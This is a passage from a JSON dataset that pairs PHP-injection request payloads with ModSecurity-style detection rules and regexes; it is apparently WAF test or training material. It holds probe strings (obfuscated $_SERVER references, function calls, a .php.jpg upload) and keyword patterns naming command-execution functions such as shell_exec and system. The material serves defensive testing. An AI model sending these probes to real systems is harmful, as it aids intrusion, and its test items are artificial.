?:get_(?:quick_print|valueretrieval)|read_mib|set_(?:(?:(?:enum|quick)_prin|oid_output_forma)t|valueretrieval))|get(?:next)?|(?:real)?walk|set)|o(?:cket_(?:a(?:ccept|ddrinfo_(?:bind|connect|explain|lookup)|tmark)|bind|c(?:l(?:ear_error|ose)|msg_space|onnect|reate(?:_(?:listen|pair))?)|(?:ex|im)port_stream|get(?:_option|(?:peer|sock)name)|l(?:ast_error|isten)|re(?:ad|cv(?:from|msg)?)|s(?:e(?:lect|nd(?:msg|to)?|t_(?:(?:non)?block|option))|hutdown|trerror)|w(?:rite|saprotocol_info_(?:(?:ex|im)port|release)))|dium_(?:(?:ad|(?:un)?pa)d|b(?:ase642bin|in2(?:base64|hex))|c(?:ompare|rypto_(?:a(?:ead_(?:aes256gcm_(?:(?:de|en)crypt|is_available|keygen)|chacha20poly1305_(?:(?:de|en)crypt|ietf_(?:(?:de|en)crypt|keygen)|keygen)|xchacha20poly1305_ietf_(?:(?:de|en)crypt|keygen))|uth(?:_(?:keygen|verify))?)|box(?:_(?:keypair(?:_from_secretkey_and_publickey)?|open|publickey(?:_from_secretkey)?|se(?:al(?:_open)?|cretkey|ed_keypair)))?|core_ristretto255_(?:add|from_hash|is_valid_point|random|s(?:calar_(?:add|(?:complemen|inver)t|mul|negate|r(?:andom|educe)|sub)|ub))|generichash(?:_(?:final|init|keygen|update))?|k(?:df_(?:derive_from_key|keygen)|x_(?:client_session_keys|keypair|publickey|se(?:cretkey|ed_keypair|rver_session_keys)))|pwhash(?:_s(?:cryptsalsa208sha256(?:_str(?:_verify)?)?|tr(?:_(?:needs_rehash|verify))?))?|s(?:calarmult(?:_ristretto255(?:_base)?)?|ecret(?:box(?:_(?:keyg|op)en)?|stream_xchacha20poly1305_(?:(?:init_)?pu(?:ll|sh)|keygen|rekey))|horthash(?:_keygen)?|ign(?:_(?:(?:verify_)?detached|ed25519_[ps]k_to_curve25519|keypair(?:_from_secretkey_and_publickey)?|open|publickey(?:_from_secretkey)?|se(?:cretkey|ed_keypair)))?|tream(?:_(?:keygen|x(?:chacha20(?:_(?:keygen|xor(?:_ic)?))?|or)))?)))|hex2bin|increment|mem(?:cmp|zero))|undex)|p(?:l_(?:autoload(?:_(?:call|(?:extens|funct)ions|(?:un)?register))?|classes|object_(?:hash|id))|rintf)|qrt|scanf|tr(?:_(?:contains|(?:decreme|word_cou)nt|ends_with|getcsv|i(?:ncrement|replace)|pad|r(?:epeat|ot13)|s(?:huffle|plit|tarts_with))|c(?:(?:asec)?mp|oll|spn)|eam_(?:bucket_(?:(?:ap|pre)pend|make_writeable|new)|co(?:ntext_(?:create|get_(?:default|(?:option|param)s)|set_(?:default|options?|params))|py_to_stream)|filter_(?:(?:ap|pre)pend|re(?:gister|move))|get_(?:(?:(?:conten|transpor)t|(?:filt|wrapp)er)s|line|meta_data)|is(?:_local|atty)|resolve_include_path|s(?:e(?:lect|t_(?:blocking|chunk_size|(?:read|write)_buffer|timeout))|ocket_(?:(?:accep|clien)t|enable_crypto|get_name|pair|recvfrom|s(?:e(?:ndto|rver)|hutdown))|upports_lock)|wrapper_(?:re(?:gister|store)|unregister))|ftime|i(?:p(?:c?slashe|o)s|str)|n(?:at)?c(?:asec)?mp|p(?:brk|time)|r(?:chr|ev|i?pos)|s(?:pn|tr)|t(?:ok|r)|val)|ubstr_(?:co(?:mpare|unt)|replace)|ys_get(?:_temp_dir|loadavg))|t(?:anh|e(?:mpnam|st[12]|xtdomain)|i(?:dy_(?:(?:access|error|warning)_count|c(?:lean_repair|onfig_count)|diagnose|get(?:_(?:body|config|error_buffer|h(?:ead|tml(?:_ver)?)|o(?:pt_doc|utput)|r(?:elease|oot)|status)|opt)|is_x(?:ht)?ml|(?:parse|repair)_(?:file|string))|me(?:_(?:nanosleep|sleep_until)|zone_(?:(?:(?:abbreviation|identifier)s_lis|(?:(?:locat|vers)ion|transitions)_ge)t|name_(?:from_abbr|get)|o(?:ffset_get|pen))))|mpfile|oken_(?:get_all|name)|r(?:a(?:it_exists|nsliterator_(?:create(?:_(?:from_rules|inverse))?|(?:get_error_(?:cod|messag)|transliterat)e|list_ids))|igger_error))|u(?:[ak]sort|cwords|mask|n(?:i(?:qi|xtoj)d|register_tick_function)|(?:rlde|tf8_(?:de|en))code|s(?:e_soap_error_handler|leep|ort))|v(?:ar(?:_(?:dump|export)|iant_(?:a(?:bs|[dn]d)|c(?:as?t|mp)|d(?:ate_(?:from|to)_timestamp|iv)|eqv|fix|get_type|i(?:div|mp|nt)|m(?:od|ul)|n(?:eg|ot)|x?or|pow|round|s(?:et(?:_type)?|ub)))|ersion_compare|[fs]?printf)|wordwrap|xml(?:_(?:error_string|get_(?:current_(?:byte_index|(?:column|line)_number)|error_code)|parse(?:_into_struct|r_(?:create(?:_ns)?|free|[gs]et_option))?|set_(?:(?:character_data|default|e(?:lement|nd_namespace_decl|xternal_entity_ref)|(?:notation|start_namespace|unparsed_entity)_decl|processing_instruction)_handler|object))|writer_(?:end_(?:attribute|c(?:data|omment)|d(?:ocument|td(?:_(?:attlist|e(?:lement|ntity)))?)|element|pi)|f(?:lush|ull_end_element)|o(?:pen_(?:memory|uri)|utput_memory)|s(?:et_indent(?:_string)?|tart_(?:(?:attribute|element)(?:_ns)?|c(?:data|omment)|d(?:ocument|td(?:_(?:attlist|e(?:lement|ntity)))?)|pi))|text|write_(?:(?:attribute|element)(?:_ns)?|c(?:data|omment)|dtd(?:_(?:attlist|e(?:lement|ntity)))?|pi|raw)))|z(?:end_(?:c(?:all_method|reate_unterminated_string)|get_(?:current_func_name|map_ptr_last|unit_enum)|iterable(?:_legacy)?|leak_(?:bytes|variable)|(?:number_or_string|string_or_(?:object|stdclass))(?:_or_null)?|t(?:e(?:rminate_string|st_(?:(?:(?:nullable_)?array|void)_return|c(?:ompile_string|r(?:ash|eate_throwing_resource))|deprecated|f(?:ill_packed_array|unc)|is_string_marked_as_valid_utf8|(?:override_libxml_global_sta|parameter_with_attribu)te|zend_(?:call_stack_(?:get|use_all)|ini_(?:parse_u?quantity|str))))|hread_id)|version|weakmap_(?:attach|dump|remove))|ip_(?:close|entry_(?:c(?:lose|ompress(?:edsize|ionmethod))|(?:filesiz|nam)e|open|read)|open|read)|lib_(?:(?:de|en)cod|get_coding_typ)e)|ZendTestNS2_(?:ZendSubNS_)?namespaced_(?:deprecated_)?func)[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933153", "test_description": "snippets of Eng words (like prev) should not be matched, requiring regex match with word boundaries (e.g. 933160)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=exploration" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:r(?:a(?:d2deg|ndom_(?:bytes|int)|wurl(?:de|en)code)|e(?:a(?:d(?:dir|(?:gz)?file|lin(?:e(?:_(?:(?:(?:add|list|write)_histor|re(?:ad_histor|displa))y|c(?:allback_(?:handler_(?:install|remove)|read_char)|lear_history|ompletion_function)|info|on_new_line))?|k))|lpath(?:_cache_(?:get|size))?)|gister_(?:shutdown|tick)_function|s(?:ourcebundle_(?:c(?:ount|reate)|get(?:_error_(?:cod|messag)e)?|locales)|tore_e(?:rror|xception)_handler)|wind(?:dir)?)|mdir|sort)|s(?:api_windows_(?:cp_(?:conv|[gs]et|is_utf8)|(?:generate_ctrl_even|vt100_suppor)t|set_ctrl_handler)|candir|e(?:m_(?:(?:acquir|re(?:leas|mov))e|get)|ssion_(?:(?:abor|unse)t|c(?:ache_(?:expire|limiter)|reate_id)|de(?:code|stroy)|(?:encod|(?:module_)?nam|write_clos)e|g(?:c|et_cookie_params)|id|re(?:g(?:enerate_id|ister_shutdown)|set)|s(?:ave_path|et_(?:cookie_params|save_handler)|ta(?:rt|tus)))|t(?:_(?:e(?:rror|xception)_handler|include_path|time_limit)|(?:(?:raw)?cooki|local)e))|h(?:a1(?:_file)?|ell_exec|m(?:_(?:(?:at|de)tach|(?:(?:ge|pu)t|has)_var|remove(?:_var)?)|op_(?:(?:clos|(?:dele|wri)t|siz)e|open|read)))|i(?:m(?:ilar_text|plexml_(?:import_dom|load_(?:file|string)))|nh)|nmp(?:[23]_(?:get(?:next)?|(?:real_)?walk|set)|_(?:get_(?:quick_print|valueretrieval)|read_mib|set_(?:(?:(?:enum|quick)_prin|oid_output_forma)t|valueretrieval))|get(?:next)?|(?:real)?walk|set)|o(?:cket_(?:a(?:ccept|ddrinfo_(?:bind|connect|explain|lookup)|tmark)|bind|c(?:l(?:ear_error|ose)|msg_space|onnect|reate(?:_(?:listen|pair))?)|(?:ex|im)port_stream|get(?:_option|(?:peer|sock)name)|l(?:ast_error|isten)|re(?:ad|cv(?:from|msg)?)|s(?:e(?:lect|nd(?:msg|to)?|t_(?:(?:non)?block|option))|hutdown|trerror)|w(?:rite|saprotocol_info_(?:(?:ex|im)port|release)))|dium_(?:(?:ad|(?:un)?pa)d|b(?:ase642bin|in2(?:base64|hex))|c(?:ompare|rypto_(?:a(?:ead_(?:aes256gcm_(?:(?:de|en)crypt|is_available|keygen)|chacha20poly1305_(?:(?:de|en)crypt|ietf_(?:(?:de|en)crypt|keygen)|keygen)|xchacha20poly1305_ietf_(?:(?:de|en)crypt|keygen))|uth(?:_(?:keygen|verify))?)|box(?:_(?:keypair(?:_from_secretkey_and_publickey)?|open|publickey(?:_from_secretkey)?|se(?:al(?:_open)?|cretkey|ed_keypair)))?|core_ristretto255_(?:add|from_hash|is_valid_point|random|s(?:calar_(?:add|(?:complemen|inver)t|mul|negate|r(?:andom|educe)|sub)|ub))|generichash(?:_(?:final|init|keygen|update))?|k(?:df_(?:derive_from_key|keygen)|x_(?:client_session_keys|keypair|publickey|se(?:cretkey|ed_keypair|rver_session_keys)))|pwhash(?:_s(?:cryptsalsa208sha256(?:_str(?:_verify)?)?|tr(?:_(?:needs_rehash|verify))?))?|s(?:calarmult(?:_ristretto255(?:_base)?)?|ecret(?:box(?:_(?:keyg|op)en)?|stream_xchacha20poly1305_(?:(?:init_)?pu(?:ll|sh)|keygen|rekey))|horthash(?:_keygen)?|ign(?:_(?:(?:verify_)?detached|ed25519_[ps]k_to_curve25519|keypair(?:_from_secretkey_and_publickey)?|open|publickey(?:_from_secretkey)?|se(?:cretkey|ed_keypair)))?|tream(?:_(?:keygen|x(?:chacha20(?:_(?:keygen|xor(?:_ic)?))?|or)))?)))|hex2bin|increment|mem(?:cmp|zero))|undex)|p(?:l_(?:autoload(?:_(?:call|(?:extens|funct)ions|(?:un)?register))?|classes|object_(?:hash|id))|rintf)|qrt|scanf|tr(?:_(?:contains|(?:decreme|word_cou)nt|ends_with|getcsv|i(?:ncrement|replace)|pad|r(?:epeat|ot13)|s(?:huffle|plit|tarts_with))|c(?:(?:asec)?mp|oll|spn)|eam_(?:bucket_(?:(?:ap|pre)pend|make_writeable|new)|co(?:ntext_(?:create|get_(?:default|(?:option|param)s)|set_(?:default|options?|params))|py_to_stream)|filter_(?:(?:ap|pre)pend|re(?:gister|move))|get_(?:(?:(?:conten|transpor)t|(?:filt|wrapp)er)s|line|meta_data)|is(?:_local|atty)|resolve_include_path|s(?:e(?:lect|t_(?:blocking|chunk_size|(?:read|write)_buffer|timeout))|ocket_(?:(?:accep|clien)t|enable_crypto|get_name|pair|recvfrom|s(?:e(?:ndto|rver)|hutdown))|upports_lock)|wrapper_(?:re(?:gister|store)|unregister))|ftime|i(?:p(?:c?slashe|o)s|str)|n(?:at)?c(?:asec)?mp|p(?:brk|time)|r(?:chr|ev|i?pos)|s(?:pn|tr)|t(?:ok|r)|val)|ubstr_(?:co(?:mpare|unt)|replace)|ys_get(?:_temp_dir|loadavg))|t(?:anh|e(?:mpnam|st[12]|xtdomain)|i(?:dy_(?:(?:access|error|warning)_count|c(?:lean_repair|onfig_count)|diagnose|get(?:_(?:body|config|error_buffer|h(?:ead|tml(?:_ver)?)|o(?:pt_doc|utput)|r(?:elease|oot)|status)|opt)|is_x(?:ht)?ml|(?:parse|repair)_(?:file|string))|me(?:_(?:nanosleep|sleep_until)|zone_(?:(?:(?:abbreviation|identifier)s_lis|(?:(?:locat|vers)ion|transitions)_ge)t|name_(?:from_abbr|get)|o(?:ffset_get|pen))))|mpfile|oken_(?:get_all|name)|r(?:a(?:it_exists|nsliterator_(?:create(?:_(?:from_rules|inverse))?|(?:get_error_(?:cod|messag)|transliterat)e|list_ids))|igger_error))|u(?:[ak]sort|cwords|mask|n(?:i(?:qi|xtoj)d|register_tick_function)|(?:rlde|tf8_(?:de|en))code|s(?:e_soap_error_handler|leep|ort))|v(?:ar(?:_(?:dump|export)|iant_(?:a(?:bs|[dn]d)|c(?:as?t|mp)|d(?:ate_(?:from|to)_timestamp|iv)|eqv|fix|get_type|i(?:div|mp|nt)|m(?:od|ul)|n(?:eg|ot)|x?or|pow|round|s(?:et(?:_type)?|ub)))|ersion_compare|[fs]?printf)|wordwrap|xml(?:_(?:error_string|get_(?:current_(?:byte_index|(?:column|line)_number)|error_code)|parse(?:_into_struct|r_(?:create(?:_ns)?|free|[gs]et_option))?|set_(?:(?:character_data|default|e(?:lement|nd_namespace_decl|xternal_entity_ref)|(?:notation|start_namespace|unparsed_entity)_decl|processing_instruction)_handler|object))|writer_(?:end_(?:attribute|c(?:data|omment)|d(?:ocument|td(?:_(?:attlist|e(?:lement|ntity)))?)|element|pi)|f(?:lush|ull_end_element)|o(?:pen_(?:memory|uri)|utput_memory)|s(?:et_indent(?:_string)?|tart_(?:(?:attribute|element)(?:_ns)?|c(?:data|omment)|d(?:ocument|td(?:_(?:attlist|e(?:lement|ntity)))?)|pi))|text|write_(?:(?:attribute|element)(?:_ns)?|c(?:data|omment)|dtd(?:_(?:attlist|e(?:lement|ntity)))?|pi|raw)))|z(?:end_(?:c(?:all_method|reate_unterminated_string)|get_(?:current_func_name|map_ptr_last|unit_enum)|iterable(?:_legacy)?|leak_(?:bytes|variable)|(?:number_or_string|string_or_(?:object|stdclass))(?:_or_null)?|t(?:e(?:rminate_string|st_(?:(?:(?:nullable_)?array|void)_return|c(?:ompile_string|r(?:ash|eate_throwing_resource))|deprecated|f(?:ill_packed_array|unc)|is_string_marked_as_valid_utf8|(?:override_libxml_global_sta|parameter_with_attribu)te|zend_(?:call_stack_(?:get|use_all)|ini_(?:parse_u?quantity|str))))|hread_id)|version|weakmap_(?:attach|dump|remove))|ip_(?:close|entry_(?:c(?:lose|ompress(?:edsize|ionmethod))|(?:filesiz|nam)e|open|read)|open|read)|lib_(?:(?:de|en)cod|get_coding_typ)e)|ZendTestNS2_(?:ZendSubNS_)?namespaced_(?:deprecated_)?func)[\\s\\x0b]*\\(", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933153", "test_description": "snippets of Eng words (like exp) should not be matched, requiring regex match with word boundaries (e.g. 933160)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=$_%53ERVER['test'];" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "AUTH_TYPE|HTTP_(?:ACCEPT(?:_(?:CHARSET|ENCODING|LANGUAGE))?|CONNECTION|(?:HOS|USER_AGEN)T|KEEP_ALIVE|(?:REFERE|X_FORWARDED_FO)R)|ORIG_PATH_INFO|PATH_(?:INFO|TRANSLATED)|QUERY_STRING|REQUEST_URI", "negated": false } }, "transformations": [ "none", "normalisePath", "urlDecodeUni" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933131", "test_description": "SERVER request URLEncoded" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "%24_COOKIE=value;" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "AUTH_TYPE|HTTP_(?:ACCEPT(?:_(?:CHARSET|ENCODING|LANGUAGE))?|CONNECTION|(?:HOS|USER_AGEN)T|KEEP_ALIVE|(?:REFERE|X_FORWARDED_FO)R)|ORIG_PATH_INFO|PATH_(?:INFO|TRANSLATED)|QUERY_STRING|REQUEST_URI", "negated": false } }, "transformations": [ "none", "normalisePath", "urlDecodeUni" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933131", "test_description": "SERVER request URLEncoded" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=$_%53%20ERVER['REQUEST_URI'];" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "AUTH_TYPE|HTTP_(?:ACCEPT(?:_(?:CHARSET|ENCODING|LANGUAGE))?|CONNECTION|(?:HOS|USER_AGEN)T|KEEP_ALIVE|(?:REFERE|X_FORWARDED_FO)R)|ORIG_PATH_INFO|PATH_(?:INFO|TRANSLATED)|QUERY_STRING|REQUEST_URI", "negated": false } }, "transformations": [ "none", "normalisePath", "urlDecodeUni" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933131", "test_description": "SERVER index listed with obfuscated SERVER" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "%20checkDate%28%29" }, { "location": "post_body", "value": "gethostbynamE(" } ], "attack_context": { "method": "POST", "location": [ "uri_params", "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:bs|s(?:in|sert(?:_options)?))|basename|c(?:h(?:eckdate|r(?:oot)?)|o(?:(?:mpac|(?:nsta|u)n)t|py|sh?)|r(?:eate_function|ypt)|urrent)|d(?:ate|e(?:coct|fined?)|ir)|e(?:nd|val|x(?:ec|p(?:lode)?|tract))|f(?:ile(?:(?:[acm]tim|inod|siz|typ)e|group|owner|perms)?|l(?:o(?:ck|or)|ush))|glob|h(?:ash|eader)|i(?:date|m(?:age(?:gif|(?:jpe|pn)g|wbmp|xbm)|plode)|s_a)|key|l(?:ink|og)|m(?:a(?:il|x)|d5|in)|n(?:ame|ext)|o(?:pendir|rd)|p(?:a(?:ck|ss(?:thru)?)|i|o(?:pen|w)|rev)|r(?:an(?:d|ge)|e(?:(?:adfil|nam)e|set)|ound)|s(?:(?:erializ|huffl)e|in|leep|(?:or|ta)t|ubstr|y(?:mlink|s(?:log|tem)))|t(?:an|(?:im|mpfil)e|ouch|rim)|u(?:cfirst|n(?:lin|pac)k)|virtual)(?:[\\s\\x0b]|/\\*.*\\*/|(?:#|//).*)*\\(.*\\)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933161", "test_description": "regexp; must run test in PL3!" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=chroot%09%28%29" }, { "location": "post_body", "value": "gethostbynamE(" } ], "attack_context": { "method": "POST", "location": [ "uri_params", "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:bs|s(?:in|sert(?:_options)?))|basename|c(?:h(?:eckdate|r(?:oot)?)|o(?:(?:mpac|(?:nsta|u)n)t|py|sh?)|r(?:eate_function|ypt)|urrent)|d(?:ate|e(?:coct|fined?)|ir)|e(?:nd|val|x(?:ec|p(?:lode)?|tract))|f(?:ile(?:(?:[acm]tim|inod|siz|typ)e|group|owner|perms)?|l(?:o(?:ck|or)|ush))|glob|h(?:ash|eader)|i(?:date|m(?:age(?:gif|(?:jpe|pn)g|wbmp|xbm)|plode)|s_a)|key|l(?:ink|og)|m(?:a(?:il|x)|d5|in)|n(?:ame|ext)|o(?:pendir|rd)|p(?:a(?:ck|ss(?:thru)?)|i|o(?:pen|w)|rev)|r(?:an(?:d|ge)|e(?:(?:adfil|nam)e|set)|ound)|s(?:(?:erializ|huffl)e|in|leep|(?:or|ta)t|ubstr|y(?:mlink|s(?:log|tem)))|t(?:an|(?:im|mpfil)e|ouch|rim)|u(?:cfirst|n(?:lin|pac)k)|virtual)(?:[\\s\\x0b]|/\\*.*\\*/|(?:#|//).*)*\\(.*\\)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933161", "test_description": "regexp; must run test in PL3!" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=symlink%09%28%29" }, { "location": "post_body", "value": "gethostbynamE(" } ], "attack_context": { "method": "POST", "location": [ "uri_params", "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:bs|s(?:in|sert(?:_options)?))|basename|c(?:h(?:eckdate|r(?:oot)?)|o(?:(?:mpac|(?:nsta|u)n)t|py|sh?)|r(?:eate_function|ypt)|urrent)|d(?:ate|e(?:coct|fined?)|ir)|e(?:nd|val|x(?:ec|p(?:lode)?|tract))|f(?:ile(?:(?:[acm]tim|inod|siz|typ)e|group|owner|perms)?|l(?:o(?:ck|or)|ush))|glob|h(?:ash|eader)|i(?:date|m(?:age(?:gif|(?:jpe|pn)g|wbmp|xbm)|plode)|s_a)|key|l(?:ink|og)|m(?:a(?:il|x)|d5|in)|n(?:ame|ext)|o(?:pendir|rd)|p(?:a(?:ck|ss(?:thru)?)|i|o(?:pen|w)|rev)|r(?:an(?:d|ge)|e(?:(?:adfil|nam)e|set)|ound)|s(?:(?:erializ|huffl)e|in|leep|(?:or|ta)t|ubstr|y(?:mlink|s(?:log|tem)))|t(?:an|(?:im|mpfil)e|ouch|rim)|u(?:cfirst|n(?:lin|pac)k)|virtual)(?:[\\s\\x0b]|/\\*.*\\*/|(?:#|//).*)*\\(.*\\)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933161", "test_description": "symlink \\t()" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=xucfirst%28%29" }, { "location": "post_body", "value": "gethostbynamE(" } ], "attack_context": { "method": "POST", "location": [ "uri_params", "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:bs|s(?:in|sert(?:_options)?))|basename|c(?:h(?:eckdate|r(?:oot)?)|o(?:(?:mpac|(?:nsta|u)n)t|py|sh?)|r(?:eate_function|ypt)|urrent)|d(?:ate|e(?:coct|fined?)|ir)|e(?:nd|val|x(?:ec|p(?:lode)?|tract))|f(?:ile(?:(?:[acm]tim|inod|siz|typ)e|group|owner|perms)?|l(?:o(?:ck|or)|ush))|glob|h(?:ash|eader)|i(?:date|m(?:age(?:gif|(?:jpe|pn)g|wbmp|xbm)|plode)|s_a)|key|l(?:ink|og)|m(?:a(?:il|x)|d5|in)|n(?:ame|ext)|o(?:pendir|rd)|p(?:a(?:ck|ss(?:thru)?)|i|o(?:pen|w)|rev)|r(?:an(?:d|ge)|e(?:(?:adfil|nam)e|set)|ound)|s(?:(?:erializ|huffl)e|in|leep|(?:or|ta)t|ubstr|y(?:mlink|s(?:log|tem)))|t(?:an|(?:im|mpfil)e|ouch|rim)|u(?:cfirst|n(?:lin|pac)k)|virtual)(?:[\\s\\x0b]|/\\*.*\\*/|(?:#|//).*)*\\(.*\\)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933161", "test_description": "ucfirst()" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "------WebKitFormBoundaryoRWIb3busvBrbttO\nContent-Disposition: form-data; name=\"file\"; filename=\"test.php.jpg\"\nContent-Type: image/jpeg\n\n\n\n------WebKitFormBoundaryoRWIb3busvBrbttO--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "FILES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "X-Filename", "negated": false }, { "name": "REQUEST_HEADERS", "part": "X_Filename", "negated": false }, { "name": "REQUEST_HEADERS", "part": "X.Filename", "negated": false }, { "name": "REQUEST_HEADERS", "part": "X-File-Name", "negated": false } ], "operator": { "type": "@rx", "argument": ".*\\.(?:php\\d*|phtml)\\..*$", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933111", "test_description": "PHP Injection Attack: PHP Script File Upload Found" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "file_test=&submit=1" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pm", "argument": "?>", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933190", "test_description": "PHP Injection Attack: PHP Closing Tag Found" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%5bACME%5d%3a+this+is%2c+%28another%29+test+%28foo%29bar+or+foo%28bar%29." } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:\\((?:.+\\)(?:[\\\"'][\\-0-9A-Z_a-z]+[\\\"'])?\\(.+|[^\\)]*string[^\\)]*\\)[\\s\\x0b\\\"'\\-\\.0-9A-\\[\\]_a-\\{\\}]+\\([^\\)]*)|(?:\\[[0-9]+\\]|\\{[0-9]+\\}|\\$[^\\(\\),\\./;\\x5c]+|[\\\"'][\\-0-9A-Z\\x5c_a-z]+[\\\"'])\\(.+)\\)(?:;|$)?", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments", "removeWhitespace" ], "attack_type": [ "attack-injection-php" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "933211", "test_description": "Check for false positive 1" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=%28foo%29bar+or+foo%28bar%29+or+%5bfoo%5dbar+or+foo%5bbar%5d" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 